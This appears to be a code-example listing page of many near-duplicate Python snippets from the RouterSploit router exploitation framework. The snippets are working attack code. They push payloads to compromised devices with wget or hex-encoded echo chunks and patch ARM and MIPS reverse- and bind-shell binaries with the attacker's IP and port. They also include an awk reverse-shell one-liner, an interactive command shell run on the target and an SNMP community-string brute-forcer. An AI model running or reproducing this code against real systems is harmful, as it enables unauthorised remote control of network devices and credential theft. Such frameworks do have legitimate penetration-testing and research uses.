예제 #1
0
    def wget(self, binary, location):
        print_status("Using wget method")
        # generate binary
        self.generate_binary(self.lhost, self.lport)

        # run http server
        thread = threading.Thread(target = self.http_server, args=(self.lhost, self.lport))
        thread.start()

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
                                                   self.lhost,
                                                   self.lport,
                                                   self.binary_name,
                                                   location,
                                                   self.binary_name)

        self.exploit.execute(cmd)

        # execute binary
        sock = self.listen(self.lhost, self.lport)
        self.execute_binary(location, self.binary_name)

        # waiting for shell
        self.shell(sock)
예제 #2
0
    def echo(self, binary, location):
        # generate binary
        self.generate_binary(self.lhost, self.lport)
        path = "{}/{}".format(location, self.binary_name)

        size = len(self.revshell) 
        num_parts = (size / 30) + 1

        # transfer binary through echo command
        print_status("Using echo method to transfer binary")
        for i in range(0, num_parts):
            current = i * 30
            print_status("Transferring {}/{} bytes".format(current, len(self.revshell)))

            block = self.revshell[current:current+30].encode('hex')
            block = "\\x" + "\\x".join(a+b for a,b in zip(block[::2], block[1::2]))
            cmd = '$(echo -n -e "{}" >> {})'.format(block, path)
            self.exploit.execute(cmd)

        # execute binary
        sock = self.listen(self.lhost, self.lport)
        self.execute_binary(location, self.binary_name)

        # waiting for shell
        self.shell(sock)
예제 #3
0
    def wget(self, binary, location):
        print_status("Using wget method")
        # generate binary
        self.generate_binary(self.lhost, self.lport)

        # run http server
        thread = threading.Thread(target=self.http_server, args=(self.lhost, self.lport))
        thread.start()

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
                                                   self.lhost,
                                                   self.lport,
                                                   self.binary_name,
                                                   location,
                                                   self.binary_name)

        self.exploit.execute(cmd)

        # execute binary
        sock = self.listen(self.lhost, self.lport)
        self.execute_binary(location, self.binary_name)

        # waiting for shell
        self.shell(sock)
예제 #4
0
    def bind_tcp(self):
        # execute binary
        commands = self.build_commands()

        for command in commands:
            thread = threading.Thread(target=self.exploit.execute,
                                      args=(command, ))
            thread.start()

        # connecting to shell
        print_status("Connecting to {}:{}".format(self.options['rhost'],
                                                  self.options['rport']))
        time.sleep(2)

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], int(self.options['rport'])))
        except socket.error:
            print_error("Could not connect to {}:{}".format(
                self.options['rhost'], self.options['rport']))
            return

        print_success("Enjoy your shell")
        tn = telnetlib.Telnet()
        tn.sock = sock
        tn.interact()
예제 #5
0
    def target_function(self, running, data):
        name = threading.current_thread().name
        address = "{}:{}".format(self.target, self.port)

        print_status(name, 'thread is starting...')

        while running.is_set():
            try:
                string = data.next().strip()

                bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
                res = netsnmp.snmpget(bindvariable, Version = 1, DestHost = address, Community=string)

                if res[0] != None:
                    running.clear()
                    print_success("{}: Valid community string found!".format(name), string)
                    self.strings.append(tuple([string]))
                else:
		    pass
                    # print_error("{}: Invalid community string.".format(name), string)

            except StopIteration:
                break

        print_status(name, 'thread is terminated.')
예제 #6
0
    def bind_tcp(self):
        # execute binary
        commands = self.build_commands()

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # connecting to shell
        print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
        time.sleep(2)

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], int(self.options['rport'])))
        except socket.error:
            print_error("Could not connect to {}:{}".format(self.options['rhost'], self.options['rport']))
            return

        print_success("Enjoy your shell")
        tn = telnetlib.Telnet()
        tn.sock = sock
        tn.interact()
예제 #7
0
    def generate_binary(self, lhost, lport):
        print_status("Generating reverse shell binary")
        self.binary_name = random_text(8)
        ip = self.convert_ip(lhost)
        port = self.convert_port(lport)

        if self.arch == "arm":
            self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10A] + port + self.arm[0x10C:]
        elif self.arch == "mipsel":
            self.revshell = (
                self.mipsel[:0xE4]
                + port
                + self.mipsel[0xE6:0xF0]
                + ip[2:]
                + self.mipsel[0xF2:0xF4]
                + ip[:2]
                + self.mipsel[0xF6:]
            )
        elif self.arch == "mips":
            self.revshell = (
                self.mips[:0xEA]
                + port
                + self.mips[0xEC:0xF2]
                + ip[:2]
                + self.mips[0xF4:0xF6]
                + ip[2:]
                + self.mips[0xF8:]
            )
        else:
            print_error("Platform not supported")
예제 #8
0
    def wget(self):
        print_status("Using wget method")
        self.binary_name = random_text(8)

        if "binary" in self.wget_options.keys():
            binary = self.wget_options['binary']
        else:
            binary = "wget"

        # run http server
        self.mutex = True
        thread = threading.Thread(target=self.http_server,
                                  args=(self.options['lhost'],
                                        self.options['lport']))
        thread.start()

        while self.mutex:
            pass

        if self.port_used:
            print_error("Could not set up HTTP Server on {}:{}".format(
                self.options['lhost'], self.options['lport']))
            return False

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(
            binary, self.options['lhost'], self.options['lport'],
            self.binary_name, self.location, self.binary_name)

        self.exploit.execute(cmd)
        return True
예제 #9
0
    def target_function(self, running, data):
        name = threading.current_thread().name
        address = "{}:{}".format(self.target, self.port)

        print_status(name, 'thread is starting...')

        while running.is_set():
            try:
                string = data.next().strip()

                bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
                res = netsnmp.snmpget(bindvariable,
                                      Version=1,
                                      DestHost=address,
                                      Community=string)

                if res[0] != None:
                    running.clear()
                    print_success(
                        "{}: Valid community string found!".format(name),
                        string)
                    self.strings.append(tuple([string]))
                else:
                    pass
                # print_error("{}: Invalid community string.".format(name), string)

            except StopIteration:
                break

        print_status(name, 'thread is terminated.')
예제 #10
0
    def echo(self, binary, location):
        # generate binary
        self.generate_binary(self.lhost, self.lport)
        path = "{}/{}".format(location, self.binary_name)

        size = len(self.revshell)
        num_parts = (size / 30) + 1

        # transfer binary through echo command
        print_status("Using echo method to transfer binary")
        for i in range(0, num_parts):
            current = i * 30
            print_status("Transferring {}/{} bytes".format(
                current, len(self.revshell)))

            block = self.revshell[current:current + 30].encode('hex')
            block = "\\x" + "\\x".join(
                a + b for a, b in zip(block[::2], block[1::2]))
            cmd = '$(echo -n -e "{}" >> {})'.format(block, path)
            self.exploit.execute(cmd)

        # execute binary
        sock = self.listen(self.lhost, self.lport)
        self.execute_binary(location, self.binary_name)

        # waiting for shell
        self.shell(sock)
예제 #11
0
    def wget(self):
        print_status("Using wget method")
        self.binary_name = random_text(8)

        if "binary" in self.wget_options.keys():
            binary = self.wget_options['binary']
        else:
            binary = "wget"

        # run http server
        self.mutex = True
        thread = threading.Thread(target=self.http_server, args=(self.options['lhost'], self.options['lport']))
        thread.start()

        while self.mutex:
            pass

        if self.port_used:
            print_error("Could not set up HTTP Server on {}:{}".format(self.options['lhost'], self.options['lport']))
            return False

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
                                                   self.options['lhost'],
                                                   self.options['lport'],
                                                   self.binary_name,
                                                   self.location,
                                                   self.binary_name)

        self.exploit.execute(cmd)
        return True
예제 #12
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except KeyboardInterrupt:
         print()
         utils.print_error("Operation cancelled by user")
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
예제 #13
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except KeyboardInterrupt:
         print()
         utils.print_error("Operation cancelled by user")
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
예제 #14
0
    def awk(self, binary):
        print_status("Using awk method")

        # run reverse shell through awk
        sock = self.listen(self.lhost, self.lport)
        cmd = binary + " 'BEGIN{s=\"/inet/tcp/0/" + self.lhost + "/" + self.lport + "\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};'"
        self.exploit.execute(cmd)

        # waiting for shell
        self.shell(sock)
예제 #15
0
    def shell(self, sock):
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
예제 #16
0
    def awk(self, binary):
        print_status("Using awk method")

        # run reverse shell through awk
        sock = self.listen(self.lhost, self.lport)
        cmd = binary + " 'BEGIN{s=\"/inet/tcp/0/" + self.lhost + "/" + self.lport + "\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};'"
        self.exploit.execute(cmd)

        # waiting for shell
        self.shell(sock)
예제 #17
0
    def shell(self, sock):
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
예제 #18
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
예제 #19
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         utils.print_error(error)
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
예제 #20
0
    def generate_binary(self, lhost, lport):
        print_status("Generating reverse shell binary")
        self.binary_name = random_text(8)
        ip = self.convert_ip(lhost)
        port = self.convert_port(lport)

        if self.arch == 'arm':
            self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10a] + port + self.arm[0x10c:]
        elif self.arch == 'mipsel':
            self.revshell = self.mipsel[:0xe4] + port + self.mipsel[0xe6:0xf0] + ip[2:] + self.mipsel[0xf2:0xf4] + ip[:2] + self.mipsel[0xf6:]
        else:
            print_error("Platform not supported")
예제 #21
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
예제 #22
0
 def command_run(self, *args, **kwargs):
     try:
         self.current_module.validate_setup()
         utils.print_status("Running module...")
         self.current_module.run()
     except KeyboardInterrupt:
         utils.print_info()
         utils.print_error("Operation cancelled by user")
     except OptionValidationError as err:
         utils.print_error(err)
     except Exception:
         utils.print_error(traceback.format_exc(sys.exc_info()))
예제 #23
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         utils.print_error(error)
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
예제 #24
0
 def command_run(self, *args, **kwargs):
     try:
         self.current_module.validate_setup()
         utils.print_status("Running module...")
         self.current_module.run()
     except KeyboardInterrupt:
         utils.print_info()
         utils.print_error("Operation cancelled by user")
     except OptionValidationError as err:
         utils.print_error(err)
     except Exception:
         utils.print_error(traceback.format_exc(sys.exc_info()))
예제 #25
0
    def generate_binary(self, lhost, lport):
        print_status("Generating reverse shell binary")
        self.binary_name = random_text(8)
        ip = self.convert_ip(lhost)
        port = self.convert_port(lport)

        if self.arch == 'arm':
            self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10a] + port + self.arm[0x10c:]
        elif self.arch == 'mipsel':
            self.revshell = self.mipsel[:0xe4] + port + self.mipsel[0xe6:0xf0] + ip[2:] + self.mipsel[0xf2:0xf4] + ip[:2] + self.mipsel[0xf6:]
        elif self.arch == 'mips':
            self.revshell = self.mips[:0xea] + port + self.mips[0xec:0xf2] + ip[:2] + self.mips[0xf4:0xf6] + ip[2:] + self.mips[0xf8:]
        else:
            print_error("Platform not supported")
예제 #26
0
    def http_server(self, lhost, lport):
        print_status("Setting up HTTP server")

        try:
            server = HttpServer((lhost, int(lport)), HttpRequestHandler)
        except socket.error:
            self.port_used = True
            self.mutex = False
            return None

        self.mutex = False

        server.serve_forever(self.payload)
        server.server_close()
예제 #27
0
    def http_server(self, lhost, lport):
        print_status("Setting up HTTP server")

        try:
            server = HttpServer((lhost, int(lport)), HttpRequestHandler)
        except socket.error:
            self.port_used = True
            self.mutex = False
            return None

        self.mutex = False

        server.serve_forever(self.payload)
        server.server_close()
예제 #28
0
    def start(self):
        """ Routersploit main entry point. Starting interpreter loop. """

        print(self.banner)
        while True:
            try:
                command, args = self.parse_line(raw_input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args)
            except RoutersploitException as err:
                utils.print_error(err)
            except (KeyboardInterrupt, EOFError):
                print()
                utils.print_status("routersploit stopped")
                break
예제 #29
0
    def start(self):
        """ Routersploit main entry point. Starting interpreter loop. """

        print(self.banner)
        while True:
            try:
                command, args = self.parse_line(raw_input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args)
            except RoutersploitException as err:
                utils.print_error(err)
            except (KeyboardInterrupt, EOFError):
                print()
                utils.print_status("routersploit stopped")
                break
예제 #30
0
def bind_tcp(arch, rport):
    print_status("Generating bind shell binary")

    if arch == 'armle':
        payload = payloads.armle_bind_tcp.Exploit()
    elif arch == 'mipsle':
        payload = payloads.mipsle_bind_tcp.Exploit()
    elif arch == 'mipsbe':
        payload = payloads.mipsbe_bind_tcp.Exploit()
    else:
        print_error("Platform not supported")
        return None

    payload.port = rport

    payload.generate()
    return payload.generate_elf()
예제 #31
0
def reverse_tcp(arch, lhost, lport):
    print_status("Generating reverse shell binary")

    if arch == 'armle':
        payload = payloads.armle_reverse_tcp.Exploit()
    elif arch == 'mipsle':
        payload = payloads.mipsle_reverse_tcp.Exploit()
    elif arch == 'mipsbe':
        payload = payloads.mipsbe_reverse_tcp.Exploit()
    else:
        print_error("Platform not supported")
        return None

    payload.target = lhost
    payload.port = lport

    payload.generate()
    return payload.generate_elf()
예제 #32
0
    def run(self):
        self.strings = []
        print_status("Running module...")

        # todo: check if service is up

        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = tuple(["Community Strings"])
            print_table(headers, *self.strings)
        else:
            print_error("Valid community strings not found")
예제 #33
0
    def run(self):
        self.strings= []
        print_status("Running module...")

        # todo: check if service is up

        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = tuple(["Community Strings"])
            print_table(headers, *self.strings)
        else:
            print_error("Valid community strings not found")
예제 #34
0
    def reverse_tcp(self):
        sock = self.listen(self.options['lhost'], self.options['lport'])
        if self.port_used:
            print_error("Could not set up listener on {}:{}".format(self.options['lhost'], self.options['lport']))
            return

        # execute binary
        commands = self.build_commands()

        print_status("Executing payload on the device")

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # waiting for shell
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
예제 #35
0
    def reverse_tcp(self):
        sock = self.listen(self.options['lhost'], self.options['lport'])
        if self.port_used:
            print_error("Could not set up listener on {}:{}".format(
                self.options['lhost'], self.options['lport']))
            return

        # execute binary
        commands = self.build_commands()

        print_status("Executing payload on the device")

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary
        thread = threading.Thread(target=self.exploit.execute,
                                  args=(commands[-1], ))
        thread.start()

        # waiting for shell
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
예제 #36
0
    def run_threads(self, threads, target, *args, **kwargs):
        workers = []
        threads_running = threading.Event()
        threads_running.set()
        for worker_id in xrange(int(threads)):
            worker = threading.Thread(
                target=target,
                args=chain((threads_running,), args),
                kwargs=kwargs,
                name='worker-{}'.format(worker_id),
            )
            workers.append(worker)
            worker.start()

        start = time.time()
        try:
            while worker.isAlive():
                worker.join(1)
        except KeyboardInterrupt:
            threads_running.clear()

        for worker in workers:
            worker.join()
        print_status('Elapsed time: ', time.time() - start, 'seconds')
예제 #37
0
    def run_threads(self, threads, target, *args, **kwargs):
        workers = []
        threads_running = threading.Event()
        threads_running.set()
        for worker_id in xrange(int(threads)):
            worker = threading.Thread(
                target=target,
                args=chain((threads_running, ), args),
                kwargs=kwargs,
                name='worker-{}'.format(worker_id),
            )
            workers.append(worker)
            worker.start()

        start = time.time()
        try:
            while worker.isAlive():
                worker.join(1)
        except KeyboardInterrupt:
            threads_running.clear()

        for worker in workers:
            worker.join()
        print_status('Elapsed time: ', time.time() - start, 'seconds')
예제 #38
0
    def echo(self, binary, location):
        print_status("Using echo method")

        path = "{}/{}".format(location, self.binary_name)

        size = len(self.payload)
        num_parts = (size / 30) + 1

        # transfer binary through echo command
        print_status("Using echo method to transfer binary")
        for i in range(0, num_parts):
            current = i * 30
            print_status("Transferring {}/{} bytes".format(
                current, len(self.payload)))

            block = self.payload[current:current + 30].encode('hex')
            block = "\\\\x" + "\\\\x".join(
                a + b for a, b in zip(block[::2], block[1::2]))
            cmd = 'echo -ne "{}" >> {}'.format(block, path)
            self.exploit.execute(cmd)

        # execute binary
        if self.options['technique'] == "bind_tcp":
            self.execute_binary(location, self.binary_name)

            print_status("Connecting to {}:{}".format(self.options['rhost'],
                                                      self.options['rport']))
            time.sleep(2)

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], self.options['rport']))

            print_success("Enjoy your shell")
            tn = telnetlib.Telnet()
            tn.sock = sock
            tn.interact()

        elif self.options['technique'] == "reverse_tcp":
            sock = self.listen(self.options['lhost'], self.options['lport'])
            self.execute_binary(location, self.binary_name)

            # waiting for shell
            self.shell(sock)
예제 #39
0
    def wget(self, binary, location):
        print_status("Using wget method")

        # run http server
        thread = threading.Thread(target=self.http_server,
                                  args=(self.options['lhost'],
                                        self.options['lport']))
        thread.start()

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
                                                   self.options['lhost'],
                                                   self.options['lport'],
                                                   self.binary_name, location,
                                                   self.binary_name)

        self.exploit.execute(cmd)

        # execute binary
        if self.options['technique'] == "bind_tcp":
            self.execute_binary(location, self.binary_name)

            print_status("Connecting to {}:{}".format(self.options['rhost'],
                                                      self.options['rport']))
            time.sleep(2)

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], self.options['rport']))

            print_success("Enjoy your shell")
            tn = telnetlib.Telnet()
            tn.sock = sock
            tn.interact()

        elif self.options['technique'] == "reverse_tcp":
            sock = self.listen(self.options['lhost'], self.options['lport'])
            self.execute_binary(location, self.binary_name)

            # waiting for shell
            self.shell(sock)
예제 #40
0
    def echo(self):
        print_status("Using echo method")
        self.binary_name = random_text(8)

        path = "{}/{}".format(self.location, self.binary_name)

        # echo stream e.g. echo -ne {} >> {}
        if "stream" in self.echo_options.keys():
            echo_stream = self.echo_options['stream']
        else:
            echo_stream = 'echo -ne "{}" >> {}'

        # echo prefix e.g. "\\x"
        if "prefix" in self.echo_options.keys():
            echo_prefix = self.echo_options['prefix']
        else:
            echo_prefix = "\\x"

        # echo max length of the block
        if "max_length" in self.echo_options.keys():
            echo_max_length = int(self.echo_options['max_length'])
        else:
            echo_max_length = 30

        size = len(self.payload)
        num_parts = (size / echo_max_length) + 1

        # transfer binary through echo command
        print_status("Sending payload to {}".format(path))
        for i in range(0, num_parts):
            current = i * echo_max_length
            print_status("Transferring {}/{} bytes".format(
                current, len(self.payload)))

            block = self.payload[current:current +
                                 echo_max_length].encode('hex')
            block = echo_prefix + echo_prefix.join(
                a + b for a, b in zip(block[::2], block[1::2]))
            cmd = echo_stream.format(block, path)
            self.exploit.execute(cmd)
예제 #41
0
    def echo(self):
        print_status("Using echo method")
        self.binary_name = random_text(8)

        path = "{}/{}".format(self.location, self.binary_name)

        # echo stream e.g. echo -ne {} >> {}
        if "stream" in self.echo_options.keys():
            echo_stream = self.echo_options['stream']
        else:
            echo_stream = 'echo -ne "{}" >> {}'

        # echo prefix e.g. "\\x"
        if "prefix" in self.echo_options.keys():
            echo_prefix = self.echo_options['prefix']
        else:
            echo_prefix = "\\x"

        # echo max length of the block
        if "max_length" in self.echo_options.keys():
            echo_max_length = int(self.echo_options['max_length'])
        else:
            echo_max_length = 30

        size = len(self.payload)
        num_parts = (size / echo_max_length) + 1

        # transfer binary through echo command
        print_status("Sending payload to {}".format(path))
        for i in range(0, num_parts):
            current = i * echo_max_length
            print_status("Transferring {}/{} bytes".format(current, len(self.payload)))

            block = self.payload[current:current + echo_max_length].encode('hex')
            block = echo_prefix + echo_prefix.join(a + b for a, b in zip(block[::2], block[1::2]))
            cmd = echo_stream.format(block, path)
            self.exploit.execute(cmd)
예제 #42
0
    def http_server(self, lhost, lport):
        print_status("Setting up HTTP server")
        server = HttpServer((lhost, int(lport)), HttpRequestHandler)

        server.serve_forever(self.revshell)
        server.server_close()
예제 #43
0
 def show_gateway(self, args):
     print_status(self.linux_gateway())
예제 #44
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
예제 #45
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    path = "routersploit/modules/payloads/{}/".format(architecture)
    payload = None
    options = []

    if not payloads:
        payloads = [
            f.split(".")[0] for f in listdir(path) if isfile(join(path, f))
            and f.endswith(".py") and f != "__init__.py"
        ]

    print_info()
    print_success(
        "Welcome to cmd. Commands are sent to the target via the execute method."
    )
    print_status(
        "Depending on the vulnerability, command's results might not be available."
    )
    print_status(
        "For further exploitation use 'show payloads' and 'set payload <payload>' commands."
    )
    print_info()

    while 1:
        while not printer_queue.empty():
            pass

        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(
                payload._Exploit__info__['name'])

        cmd = raw_input(cmd_str)

        if cmd in ["quit", "exit"]:
            return

        elif cmd == "show payloads":
            print_status("Available payloads:")
            for payload_name in payloads:
                print_info("- {}".format(payload_name))

        elif cmd.startswith("set payload "):
            c = cmd.split(" ")

            if c[2] in payloads:
                payload_path = path.replace("/", ".") + c[2]
                payload = getattr(importlib.import_module(payload_path),
                                  'Exploit')()

                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([
                            option,
                            getattr(payload, option),
                            payload.exploit_attributes[option]
                        ])

                if payload.handler == "bind_tcp":
                    options.append([
                        "rhost",
                        validators.ipv4(exploit.target), "Target IP address"
                    ])

                    if method == "wget":
                        options.append(
                            ["lhost", "", "Connect-back IP address for wget"])
                        options.append(
                            ["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")

        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")

                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()

            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(
                                    c[1]))
                                break

                            option[1] = c[2]
                            print_success("{'" + c[1] + "': '" + c[2] + "'}")

            elif cmd == "run":
                data = payload.generate()

                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options,
                                                  **params)
                    if communication.wget() is False:
                        continue

                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options,
                                                  **params)
                    communication.echo()

                elif method == "generic":
                    params['exec_binary'] = data
                    communication = Communication(exploit, "", options,
                                                  **params)

                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()

            elif cmd == "back":
                payload = None

        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))
예제 #46
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    path = "routersploit/modules/payloads/{}/".format(architecture)
    payload = None
    options = []

    if not payloads:
        payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"]

    print_info()
    print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
    print_status("Depending on the vulnerability, command's results might not be available.")
    print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
    print_info()

    while 1:
        while not printer_queue.empty():
            pass

        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__['name'])

        cmd = raw_input(cmd_str)

        if cmd in ["quit", "exit"]:
            return

        elif cmd == "show payloads":
            print_status("Available payloads:")
            for payload_name in payloads:
                print_info("- {}".format(payload_name))

        elif cmd.startswith("set payload "):
            c = cmd.split(" ")

            if c[2] in payloads:
                payload_path = path.replace("/", ".") + c[2]
                payload = getattr(importlib.import_module(payload_path), 'Exploit')()

                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([option, getattr(payload, option), payload.exploit_attributes[option]])

                if payload.handler == "bind_tcp":
                    options.append(["rhost", validators.ipv4(exploit.target), "Target IP address"])

                    if method == "wget":
                        options.append(["lhost", "", "Connect-back IP address for wget"])
                        options.append(["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")

        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")

                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()

            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(c[1]))
                                break

                            option[1] = c[2]
                            print_success("{'" + c[1] + "': '" + c[2] + "'}")

            elif cmd == "run":
                data = payload.generate()

                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    if communication.wget() is False:
                        continue

                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    communication.echo()

                elif method == "generic":
                    params['exec_binary'] = data
                    communication = Communication(exploit, "", options, **params)

                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()

            elif cmd == "back":
                payload = None

        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))
예제 #47
0
 def command_run(self, *args, **kwargs):
     utils.print_status("Running module...")
     try:
         self.current_module.run()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
예제 #48
0
    def http_server(self, lhost, lport):
        print_status("Setting up HTTP server")
        server = HttpServer((lhost, int(lport)), HttpRequestHandler)

        server.serve_forever(self.payload)
        server.server_close()